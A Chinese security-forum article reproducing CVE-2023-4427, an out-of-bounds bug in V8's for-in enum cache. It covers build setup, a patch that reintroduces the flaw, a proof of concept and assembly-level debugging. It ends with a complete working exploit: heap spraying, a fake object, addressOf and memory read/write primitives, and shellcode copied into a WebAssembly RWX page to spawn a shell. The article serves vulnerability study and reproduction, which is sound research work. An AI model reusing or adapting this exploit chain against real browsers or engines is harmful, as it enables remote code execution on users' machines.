CVE-2023-4427 复现
CVE-2023-4427 复现
flyyyy 看雪学苑 2025-03-28 18:00
环境搭建
编译debug版本,is_debug=true
git checkout 12.2.149
gclient sync -D
git apply diff.patch
gn gen out/debug --args="symbol_level=2 blink_symbol_level=2 is_debug=true enable_nacl=false dcheck_always_on=false v8_enable_sandbox=true"
ninja -C out/debug d8
编译release版本,is_debug=false
git checkout 12.2.149
gclient sync -D
git apply diff.patch
gn gen out/release --args="symbol_level=2 blink_symbol_level=2 is_debug=false enable_nacl=false dcheck_always_on=false v8_enable_sandbox=true"
ninja -C out/release d8
diff.patch的内容
diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc
index 7d04b064177..d5f3b169487 100644
--- a/src/objects/map-updater.cc
+++ b/src/objects/map-updater.cc
@@ -1041,13 +1041,6 @@ MapUpdater::State MapUpdater::ConstructNewMap() {
// the new descriptors to maintain descriptors sharing invariant.
split_map->ReplaceDescriptors(isolate_, *new_descriptors);
- // If the old descriptors had an enum cache, make sure the new ones do too.
- if (old_descriptors_->enum_cache()->keys()->length() > 0 &&
- new_map->NumberOfEnumerableProperties() > 0) {
- FastKeyAccumulator::InitializeFastPropertyEnumCache(
- isolate_, new_map, new_map->NumberOfEnumerableProperties());
- }
-
if (has_integrity_level_transition_) {
target_map_ = new_map;
state_ = kAtIntegrityLevelSource;
漏洞分析
推荐去看issue页面的description.pdf,讲的很清晰。下面的内容也是由这个pdf展开。
poc验证
在release版本下验证,debug版本有检测,会导致直接carsh。
精简了一下poc
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 1;
object2.b = 1;
const object3 = {};
object3.a = 1;
object3.b = 1;
object3.c = 1;
for (let key in object2) { }
function trigger(callback) {
for (let key in object2) {
if (key == 'b'){
callback();
console.log(object2[key]);
}
}
}
%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger);
trigger(_ => {
object3.c = 1.1;
for (let key in object1) { }
});
看到这样的输出,就说明环境是没有问题的
poc分析
首先可以看这样一段代码
const object1 = {};
object1.a = 1;
不难从下图看出,enum cache所在的位置,object -> map -> DescriptorArray -> enum_cache
这张图更形象
接着看这一段代码,介绍一下transition chain
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 1;
object2.b = 1;
const object3 = {};
object3.a = 1;
object3.b = 1;
object3.c = 1;
%DebugPrint(object1);
%DebugPrint(object2);
%DebugPrint(object3);
%SystemBreak();
如下输出
DebugPrint: 0x235e001c9521: [JS_OBJECT_TYPE]
- map: 0x235e000d9c8d <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
- elements: 0x235e000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x235e000006cd <FixedArray[0]>
- All own properties (excluding elements): {
0x235e00002a21: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
}
0x235e000d9c8d: [Map] in OldSpace
- map: 0x235e000c3d01 <MetaMap (0x235e000c3d51 <NativeContext[285]>)>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 3
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- back pointer: 0x235e000c4a1d <Map[28](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x235e000d9cd5 <Cell value= 0>
- instance descriptors #1: 0x235e001c95b9 <DescriptorArray[3]>
- transitions #1: 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
0x235e00002a31: [String] in ReadOnlySpace: #b: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
- prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
- constructor: 0x235e000c472d <JSFunction Object (sfi = 0x235e003367e5)>
- dependent code: 0x235e000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
DebugPrint: 0x235e001c9559: [JS_OBJECT_TYPE]
- map: 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
- elements: 0x235e000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x235e000006cd <FixedArray[0]>
- All own properties (excluding elements): {
0x235e00002a21: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
0x235e00002a31: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: in-object
}
0x235e000d9cdd: [Map] in OldSpace
- map: 0x235e000c3d01 <MetaMap (0x235e000c3d51 <NativeContext[285]>)>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 2
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- back pointer: 0x235e000d9c8d <Map[28](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x235e000d9cd5 <Cell value= 0>
- instance descriptors #2: 0x235e001c95b9 <DescriptorArray[3]>
- transitions #1: 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)>
0x235e00002a41: [String] in ReadOnlySpace: #c: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)>
- prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
- constructor: 0x235e000c472d <JSFunction Object (sfi = 0x235e003367e5)>
- dependent code: 0x235e000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
DebugPrint: 0x235e001c959d: [JS_OBJECT_TYPE]
- map: 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
- elements: 0x235e000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x235e000006cd <FixedArray[0]>
- All own properties (excluding elements): {
0x235e00002a21: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
0x235e00002a31: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: in-object
0x235e00002a41: [String] in ReadOnlySpace: #c: 1 (const data field 2), location: in-object
}
0x235e000d9d05: [Map] in OldSpace
- map: 0x235e000c3d01 <MetaMap (0x235e000c3d51 <NativeContext[285]>)>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 1
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- stable_map
- back pointer: 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x235e000d9cd5 <Cell value= 0>
- instance descriptors (own) #3: 0x235e001c95b9 <DescriptorArray[3]>
- prototype: 0x235e000c4be9 <Object map = 0x235e000c4225>
- constructor: 0x235e000c472d <JSFunction Object (sfi = 0x235e003367e5)>
- dependent code: 0x235e000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
其中这里描述了obj1和obj2的transitions的相关信息
- transitions #1: 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
0x235e00002a31: [String] in ReadOnlySpace: #b: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x235e000d9cdd <Map[28](HOLEY_ELEMENTS)>
- transitions #1: 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)>
0x235e00002a41: [String] in ReadOnlySpace: #c: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x235e000d9d05 <Map[28](HOLEY_ELEMENTS)>
第一个说明当前map添加了一个b属性,然后向下转化为新的map 0x235e000d9cdd,也就是obj2的map。
第二个说明当前map添加了一个c属性,然后向下转化为新的map 0x235e000d9d05,也就是obj3的map。
下面是更为详细的图
三个对象共享一个DescriptorArray,然后其中的enum cacahe也是一样的
下面初始化一下enum cache
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 1;
object2.b = 1;
const object3 = {};
object3.a = 1;
object3.b = 1;
object3.c = 1;
for (let key in object2) { }
%DebugPrint(object1);
%DebugPrint(object2);
%DebugPrint(object3);
%SystemBreak();
输出
pwndbg> job 0x2243001c95d9
0x2243001c95d9: [DescriptorArray]
- map: 0x22430000062d <Map(DESCRIPTOR_ARRAY_TYPE)>
- enum_cache: 2
- keys: 0x2243000d9d41 <FixedArray[2]>
- indices: 0x2243000d9d51 <FixedArray[2]>
- nof slack descriptors: 0
- nof descriptors: 3
- raw gc state: mc epoch 0, marked 0, delta 0
[0]: 0x224300002a21: [String] in ReadOnlySpace: #a (const data field 0:s, p: 2, attrs: [WEC]) @ Any
[1]: 0x224300002a31: [String] in ReadOnlySpace: #b (const data field 1:s, p: 1, attrs: [WEC]) @ Any
[2]: 0x224300002a41: [String] in ReadOnlySpace: #c (const data field 2:s, p: 0, attrs: [WEC]) @ Any
V8 将 for…in 循环转换为常规 for 循环,并使用三个关键操作来执行:ForInEnumerate、ForInPrepare 和 ForInNext。ForInEnumerate 和 ForInPrepare 共同收集目标对象的所有可枚举属性名,并将它们存储到一个固定数组(fixed array)中,同时设置适当的上限(即属性的数量),作为隐式循环变量的上界。这个隐式变量还充当该固定数组的索引,所以在每次迭代时,ForInNext 都会从当前索引处加载键(key),然后将其赋值给用户可见的变量。
poc的触发函数
function trigger(callback) {
for (let key in object2) {
if (key == 'b'){
callback();
console.log(object2[key]);
}
}
}
接着去vscode全局搜索Reduction JSNativeContextSpecialization::ReduceJSLoadPropertyWithEnumeratedKey,查看问题代码。
Reduction JSNativeContextSpecialization::ReduceJSLoadPropertyWithEnumeratedKey(
Node* node) {
// We can optimize a property load if it's being used inside a for..in:
// for (name in receiver) {
// value = receiver[name];
// ...
// }
//
// If the for..in is in fast-mode, we know that the {receiver} has {name}
// as own property, otherwise the enumeration wouldn't include it. The graph
// constructed by the BytecodeGraphBuilder in this case looks like this:
// receiver
// ^ ^
// | |
// | +-+
// | |
// | JSToObject
// | ^
// | |
// | |
// | JSForInNext
// | ^
// | |
// +----+ |
// | |
// | |
// JSLoadProperty
// If the for..in has only seen maps with enum cache consisting of keys
// and indices so far, we can turn the {JSLoadProperty} into a map check
// on the {receiver} and then just load the field value dynamically via
// the {LoadFieldByIndex} operator. The map check is only necessary when
// TurboFan cannot prove that there is no observable side effect between
// the {JSForInNext} and the {JSLoadProperty} node.
//
// Also note that it's safe to look through the {JSToObject}, since the
// [[Get]] operation does an implicit ToObject anyway, and these operations
// are not observable.
DCHECK_EQ(IrOpcode::kJSLoadProperty, node->opcode());
Node* receiver = NodeProperties::GetValueInput(node, 0);
JSForInNextNode name(NodeProperties::GetValueInput(node, 1));
Node* effect = NodeProperties::GetEffectInput(node);
Node* control = NodeProperties::GetControlInput(node);
if (name.Parameters().mode() != ForInMode::kUseEnumCacheKeysAndIndices) {
return NoChange();
}
Node* object = name.receiver();
Node* cache_type = name.cache_type();
Node* index = name.index();
if (object->opcode() == IrOpcode::kJSToObject) {
object = NodeProperties::GetValueInput(object, 0);
}
if (object != receiver) return NoChange();
// No need to repeat the map check if we can prove that there's no
// observable side effect between {effect} and {name].
if (!NodeProperties::NoObservableSideEffectBetween(effect, name)) {
// Check that the {receiver} map is still valid.
Node* receiver_map = effect =
graph()->NewNode(simplified()->LoadField(AccessBuilder::ForMap()),
receiver, effect, control);
Node* check = graph()->NewNode(simplified()->ReferenceEqual(), receiver_map,
cache_type);
effect =
graph()->NewNode(simplified()->CheckIf(DeoptimizeReason::kWrongMap),
check, effect, control);
}
// Load the enum cache indices from the {cache_type}.
Node* descriptor_array = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForMapDescriptors()), cache_type,
effect, control);
Node* enum_cache = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForDescriptorArrayEnumCache()),
descriptor_array, effect, control);
Node* enum_indices = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForEnumCacheIndices()), enum_cache,
effect, control);
// Ensure that the {enum_indices} are valid.
Node* check = graph()->NewNode(
simplified()->BooleanNot(),
graph()->NewNode(simplified()->ReferenceEqual(), enum_indices,
jsgraph()->EmptyFixedArrayConstant()));
effect = graph()->NewNode(
simplified()->CheckIf(DeoptimizeReason::kWrongEnumIndices), check, effect,
control);
// Determine the key from the {enum_indices}.
Node* key = effect = graph()->NewNode(
simplified()->LoadElement(
AccessBuilder::ForFixedArrayElement(PACKED_SMI_ELEMENTS)),
enum_indices, index, effect, control);
// Load the actual field value.
Node* value = effect = graph()->NewNode(simplified()->LoadFieldByIndex(),
receiver, key, effect, control);
ReplaceWithValue(node, value, effect, control);
return Replace(value);
}
注释中将优化的过程讲的很清楚,首先receiver会被JSToObject转化为对象,然后调用ForInNext加载key,接着通过JSLoadProperty去加载value。
优化完毕之后,就会走第二条路径,从receiver到JSLoadProperty,但此时的JSLoadProperty会变成map check,也就是说如果map没发生变化,那么就会继续执行后面的流程,也就是从enum cache中调用,但是如果map发生了变化,那么就会重新进行优化。
接着是trigger的调用
trigger(_ => {
object3.c = 1.1;
这里先通过obj3的赋值,导致了enum cache的消失,此时的obj1和obj2的enum cache就会变成invaild,但是还是存在于内存里。然后obj3会创建新的map,此时的三个obj共享一个新的descriptor array。
for (let key in object1) { }
});
然后去初始化obj1的enum cache,但此时的obj2和obj3的enum cache都为invalid,这里之后会进入trigger函数的函数体,执行的是遍历obj2,此时会去检查obj2的map,发现其实没有变化,然后会载入enum cache的长度,这个长度是根据map来确定的,因此length本应该是1,但是这里载入了原本map上的enum cache的length,这样就造成了溢出。
下图就是攻击的原理图
调试相关
release版本没有job的显示,只有debug版本有,所以只能release和debug对着调
调试一下上面涉及到的原理
调试的poc
function stop(){
%SystemBreak();
}
function p(arg){
%DebugPrint(arg);
}
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 2;
object2.b = 3;
const object3 = {};
object3.a = 4;
object3.b = 5;
object3.c = 6;
for (let key in object2) { }
p(object1);
p(object2);
p(object3);
stop();
function trigger(callback) {
console.log("trigger");
stop();
for (let key in object2) {
callback();
console.log(object2[key]);
}
}
% PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
% OptimizeFunctionOnNextCall(trigger);
trigger(_ => {
object3.c = 1.1;
for (let key in object1) { }
});
在执行输出trigger时,下断点b Builtins_ForInEnumerate,然后连续3次c,接着finish执行完Builtins_ForInEnumerate,然后会发现返回值会将obj2的map赋值给rcx。
接着就是对于下面指令的解释
=> 0x55ece00040ff: mov rcx,rax
0x55ece0004102: mov r8d,DWORD PTR [rcx-0x1]
0x55ece0004106: cmp r8d,0x565
0x55ece000410d: je 0x55ece0004592
0x55ece0004113: mov r8d,DWORD PTR [rcx+0x17] 取instance descriptors
0x55ece0004117: mov r8d,DWORD PTR [r14+r8*1+0xb] 取EnumCache
0x55ece000411c: mov r8d,DWORD PTR [r14+r8*1+0x3] 取EnumCache.keys
0x55ece0004121: add r8,r14
0x55ece0004124: mov r9d,DWORD PTR [rcx+0xb] 取enum length,这里的rcx就是原本的map,也就是说enum length是通过原本的length来索引的
0x55ece0004128: and r9d,0x3ff 计算,取map上length的低10位
0x55ece000412f: mov QWORD PTR [rbp-0x28],rax 放map到栈上
0x55ece0004133: mov QWORD PTR [rbp-0x30],r8 放对应的enum cache到栈上
0x55ece0004137: mov QWORD PTR [rbp-0x38],r9 放enum length到栈
0x55ece000413b: test r9d,r9d
0x55ece000413e: ja 0x55ece000414d
0x55ece0004144: lea rax,[r14+0x61]
0x55ece0004148: jmp 0x55ece00043c7
0x55ece000414d: movabs r11,0x3d0400049729
0x55ece0004157: cmp DWORD PTR [r11-0x1],ecx
0x55ece000415b: jne 0x55ece0004596
0x55ece0004161: mov r12d,DWORD PTR [r8+0x7]
0x55ece0004165: lea rax,[r14+0x61]
0x55ece0004169: push rax
0x55ece000416a: mov QWORD PTR [rbp-0x48],r12
0x55ece000416e: mov rdi,QWORD PTR [rbp+0x18]
0x55ece0004172: mov eax,0x1
0x55ece0004177: movabs rsi,0x3d0400183d51
0x55ece0004181: call 0x55ec8709c140 <Builtins_Call_ReceiverIsNullOrUndefined>
0x55ece0004186: mov rcx,QWORD PTR [rbp-0x28]
0x55ece000418a: movabs r8,0x3d0400049729
0x55ece0004194: cmp DWORD PTR [r8-0x1],ecx
0x55ece0004198: jne 0x55ece000459a
0x55ece000419e: mov r9d,DWORD PTR [rcx+0x17] 取instance descriptors
0x55ece00041a2: mov r9d,DWORD PTR [r14+r9*1+0xb] 取EnumCache
0x55ece00041a7: mov r9d,DWORD PTR [r14+r9*1+0x7] 取EnumCache.indices
0x55ece00041ac: add r9,r14
0x55ece00041af: cmp r9d,0x6cd
0x55ece00041b6: je 0x55ece000459e
0x55ece00041bc: mov r9d,DWORD PTR [r9+0x7] 取取EnumCache.indices[0]
0x55ece00041c0: sar r9d,1
0x55ece00041c3: movsxd r11,r9d
0x55ece00041c6: mov r12,r11
0x55ece00041c9: and r12d,0x1
0x55ece00041cd: mov r12d,r12d
0x55ece00041d0: test r12d,r12d
0x55ece00041d3: jne 0x55ece000440a
0x55ece00041d9: test r9d,r9d
0x55ece00041dc: jl 0x55ece00041ef
0x55ece00041e2: mov r9d,DWORD PTR [r8+r11*2+0xb]
0x55ece00041e7: add r9,r14
0x55ece00041ea: jmp 0x55ece0004201
0x55ece00041ef: mov r9d,DWORD PTR [r8+0x3]
0x55ece00041f3: add r9,r14
0x55ece00041f6: neg r11
0x55ece00041f9: mov r9d,DWORD PTR [r9+r11*2+0x3]
0x55ece00041fe: add r9,r14
0x55ece0004201: movabs r11,0x3d04001871b1
0x55ece000420b: mov esi,DWORD PTR [r11+0x13]
0x55ece000420f: add rsi,r14
0x55ece0004212: push r9
0x55ece0004214: movabs r9,0x3d04001870e9
0x55ece000421e: push r9
0x55ece0004220: lea r12,[r14+0x6e9]
0x55ece0004227: push r12
0x55ece0004229: push 0xc
0x55ece000422b: push r11
0x55ece000422d: lea rax,[r14+0x61]
0x55ece0004231: push rax
0x55ece0004232: mov rbx,QWORD PTR [rip+0xfffffffffffffe6b] # 0x55ece00040a4
0x55ece0004239: mov eax,0x6
0x55ece000423e: call 0x55ec8713c340 <Builtins_CEntry_Return1_ArgvOnStack_BuiltinExit>
0x55ece0004243: cmp BYTE PTR [r13-0x4f],0x0
0x55ece0004248: jne 0x55ece00044ad
0x55ece000424e: mov ecx,0x1
0x55ece0004253: jmp 0x55ece0004283
0x55ece0004258: nop WORD PTR [rax+rax*1+0x0]
0x55ece0004261: nop WORD PTR [rax+rax*1+0x0]
0x55ece000426a: nop WORD PTR [rax+rax*1+0x0]
0x55ece0004273: nop WORD PTR [rax+rax*1+0x0]
0x55ece000427c: nop DWORD PTR [rax+0x0]
0x55ece0004280: mov ecx,DWORD PTR [rbp-0x40]
0x55ece0004283: lea rax,[r14+0x61]
0x55ece0004287: mov r8,QWORD PTR [rbp-0x28]
0x55ece000428b: mov r11,QWORD PTR [rbp-0x30]
0x55ece000428f: movabs r12,0x3d04001871b1
0x55ece0004299: lea rbx,[r14+0x6e9]
0x55ece00042a0: movabs r15,0x3d04001870e9
0x55ece00042aa: movabs r9,0x3d0400049729
0x55ece00042b4: cmp ecx,DWORD PTR [rbp-0x38]
0x55ece00042b7: jae 0x55ece00043c7
0x55ece00042bd: lea edx,[rcx+0x1]
0x55ece00042c0: cmp DWORD PTR [r9-0x1],r8d
0x55ece00042c4: jne 0x55ece00045a2
0x55ece00042ca: mov esi,DWORD PTR [r11+rcx*4+0x7]
0x55ece00042cf: push rax
0x55ece00042d0: mov QWORD PTR [rbp-0x48],rcx
0x55ece00042d4: mov QWORD PTR [rbp-0x40],rdx
0x55ece00042d8: mov QWORD PTR [rbp-0x50],rsi
0x55ece00042dc: mov rdi,QWORD PTR [rbp+0x18]
0x55ece00042e0: mov eax,0x1
0x55ece00042e5: movabs rsi,0x3d0400183d51
0x55ece00042ef: call 0x55ec8709c140 <Builtins_Call_ReceiverIsNullOrUndefined>
0x55ece00042f4: mov rcx,QWORD PTR [rbp-0x28]
0x55ece00042f8: movabs r8,0x3d0400049729
0x55ece0004302: cmp DWORD PTR [r8-0x1],ecx
0x55ece0004306: jne 0x55ece00045a6
0x55ece000430c: mov r9d,DWORD PTR [rcx+0x17]
0x55ece0004310: mov r9d,DWORD PTR [r14+r9*1+0xb]
0x55ece0004315: mov r9d,DWORD PTR [r14+r9*1+0x7]
0x55ece000431a: add r9,r14
0x55ece000431d: cmp r9d,0x6cd
0x55ece0004324: je 0x55ece00045aa
0x55ece000432a: mov r11d,DWORD PTR [rbp-0x48]
0x55ece000432e: mov r9d,DWORD PTR [r9+r11*4+0x7]
0x55ece0004333: sar r9d,1
0x55ece0004336: movsxd r12,r9d
0x55ece0004339: mov r15,r12
0x55ece000433c: and r15d,0x1
0x55ece0004340: mov r15d,r15d
0x55ece0004343: test r15d,r15d
0x55ece0004346: jne 0x55ece00044cd
0x55ece000434c: test r9d,r9d
0x55ece000434f: jl 0x55ece0004362
0x55ece0004355: mov r9d,DWORD PTR [r8+r12*2+0xb] 根据idx来访问,这里出现越界
0x55ece000435a: add r9,r14
……………………
先取描述符数组,接着取enum cache,然后取enum_cache.key,最后然后取对应的enum_cache的length(这个length根据map来确定,因此造成了oob。
map、enum_cache.key、length放到栈上
接着map的检查,然后取key[0]
接着取存在栈上的map,然后检查map是否发生变化
依次分别取出描述符数组、enum cache、enum_cache.indices
取出了enum_cache.indices[0],也就是对应的key,接着通过[r8 + r11*2 + 0xb]取到value。
这里还是check map,但是这里变成了-0x38,原因是因为前面push了两个值。
取key[1]
下面的流程其实就已经开始重复了,因为这是一个循环。
这里是一个越界,因为原本的obj1对应的enum cache的size就是1,所以这里二就已经是越界了,取出了一个0x6a5的值,这就对应着新的idx的值,然后越界出了0x6a5,因为是smi,所以会右移1位,也就是/2。
这里在取值,也就是说,通过这个map去向后索引这么多[r8 + r12*2 + 0xb],结合前面的/2,其实也就是obj2的map+0x6a4+0x8,这个的结果是让这个地址成为一个对象。
所以利用思路也就出来了,这里设obj2的地址为A,这里使得A+0x6a5+0x8的值落在一个可控的范围内,其实不难想到伪造对象,因为他是解引,所以这里需要伪造一个被指向的地址的区域是一个obj,稳定可控的话,可以想到适用通用对象的堆喷
这里的思路借鉴了@XiaozaYa师傅,非常巧妙,且成功率高。
调试的时候遇到一些问题
1.debug和release版本的堆布局不一样,而且差距会很大
2.TurboFan优化之后,堆布局会发生变化
需要通过调整对象的分配大小,最后才能成功触发poc,并得到fakeobj。
exp
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
function stop(){
%SystemBreak();
}
function p(arg){
%DebugPrint(arg);
}
function spin(){
while(1){};
}
function lh_u32_to_f64(l,h){
u32[0] = l;
u32[1] = h;
return f64[0];
}
function f64_to_u32l(val){
f64[0] = val;
return u32[0];
}
function f64_to_u32h(val){
f64[0] = val;
return u32[1];
}
function f64_to_u64(val){
f64[0] = val;
return u64[0];
}
function u64_to_f64(val){
u64[0] = val;
return f64[0];
}
function hex(str){
return str.toString(16).padStart(8,0);
}
function logg(str,val){
console.log("[+] "+ str + ": " + "0x" + hex(val));
}
var victim_array = new Array(0xf400);
var rw_array = new Array(0xf400);
var victim_element_start_addr = 0x00282130;
var rw_array_element_start_addr = 0x00242128;
var fake_map_addr = victim_element_start_addr + 0x1000;
var fake_obj_addr = victim_element_start_addr + 0x2000;
// 0xe3f000cf0c8: 0x000c3d01 0x32040404 0x15000842 0x0a0007ff
victim_array[0x1000 / 8] = lh_u32_to_f64(victim_element_start_addr+0x200+1,0x32040404);
victim_array[0x1000 / 8 + 1] = lh_u32_to_f64(0x15000842,0x0a0007ff);
victim_array[0x2000 / 8] = lh_u32_to_f64(fake_map_addr+1,0x000006cd);
victim_array[0x2000 / 8 + 1] = lh_u32_to_f64(rw_array_element_start_addr+1,0x3d000);
// 调整堆风水,保证target_addr_array于obj2的距离合理,这样才可以让返回的对象地址落在target_addr_array里
var pad = new Array(0x10000);
var obj1 = {};
obj1.a = 1;
var obj2 = {};
obj2.a = 1;
obj2.b = 1;
// 调整堆风水,保证target_addr_array于obj2的距离合理,这样才可以让返回的对象地址落在target_addr_array里
var target_addr_array = new Array(0x400).fill(lh_u32_to_f64(fake_obj_addr+1,fake_obj_addr+1));
var obj3= {};
obj3.a = 1;
obj3.b = 1;
obj3.c = 1;
// init enum cache
for (let i in obj3){}
function trigger(callback){
for (let key in obj2){
if (key == 'b'){
callback();
return obj2[key];
}
}
}
for (let i = 0; i < 0x20000; i++){
trigger(_=>_);
trigger(_=>_);
trigger(_=>_);
trigger(_=>_);
}
// p(victim_array);
// p(rw_array);
// p(obj2);
// p(target_addr_array);
let evil = trigger(
_=>{
obj3.c = 1.1;
for (let i in obj1){}
}
)
if ((typeof evil) != "object"){
console.log("[x] oob fail, check again!");
}else {
console.log("[+] oob success");
// p(victim_array);
// p(rw_array);
// p(obj2);
// p(target_addr_array);
function addressOf(obj){
victim_array[0x2000 / 8 + 1] = lh_u32_to_f64(rw_array_element_start_addr+1,0x3d000);
rw_array[0] = obj;
return f64_to_u32l(evil[0]);
}
function cage_read(addr){
victim_array[0x2000 / 8 + 1] = lh_u32_to_f64(addr+1-8,0x3d000);
return f64_to_u64(evil[0]);
}
function cage_write_4bytes(addr,val){
let org_val = cage_read(addr);
// console.log(((org_val)));
victim_array[0x2000 / 8 + 1] = lh_u32_to_f64(addr+1-8,0x3d000);
evil[0] = lh_u32_to_f64(val,Number(org_val >> 32n));
}
function cage_write_8bytes(addr,val){
victim_array[0x2000 / 8 + 1] = lh_u32_to_f64(addr+1-8,0x3d000);
evil[0] = u64_to_f64(val);
}
function copy_shellcode_to_rwxpage(){
var buffer = new ArrayBuffer(0x20);
var data_view = new DataView(buffer);
var data_view_addr = addressOf(data_view);
// p(data_view);
var backing_store_addr = data_view_addr-0x44-1+0x20;
logg("data_view_addr",(data_view_addr));
logg("backing_store_addr",(backing_store_addr));
// // p(data_view);
cage_write_8bytes(backing_store_addr,rwx_page_addr);
for (let i = 0; i < 3; i++){
data_view.setBigInt64(0+i*0x8,shellcode[i],true);
}
}
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var instance = new WebAssembly.Instance(wasmModule, {});
var pwn = instance.exports.main;
var instance_addr = addressOf(instance)-1;
var jump_table_addr = instance_addr+0x48;
var rwx_page_addr = cage_read(jump_table_addr);
logg("instance_addr",instance_addr);
logg("jump_table_addr",jump_table_addr);
logg("rwx_page_addr",rwx_page_addr);
copy_shellcode_to_rwxpage();
pwn();
}
// spin();
参考文章
https://bugs.chromium.org/p/chromium/issues/detail?id=1470668
https://blog.csdn.net/qq_61670993/article/details/137133853
https://bbs.kanxue.com/thread-280786.htm
https://paper.seebug.org/3081/
https://cwresearchlab.co.kr/entry/CVE-2023-4427-PoC-Out-of-bounds-memory-access-in-V8
https://rycbar77.github.io/2023/12/01/CVE-2023-4427%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0/#Build
看雪ID:flyyyy
https://bbs.kanxue.com/user-home-971428.htm
*本文为看雪论坛优秀文章,由 flyyyy 原创,转载请注明来自看雪社区
往期推荐
2、用户态视角理解内核ROP利用:快速从shell到root的进阶
6、Hyper-v虚拟磁盘驱动vhdmp.sys漏洞汇总分析
球分享
球点赞
球在看
点击阅读原文查看更多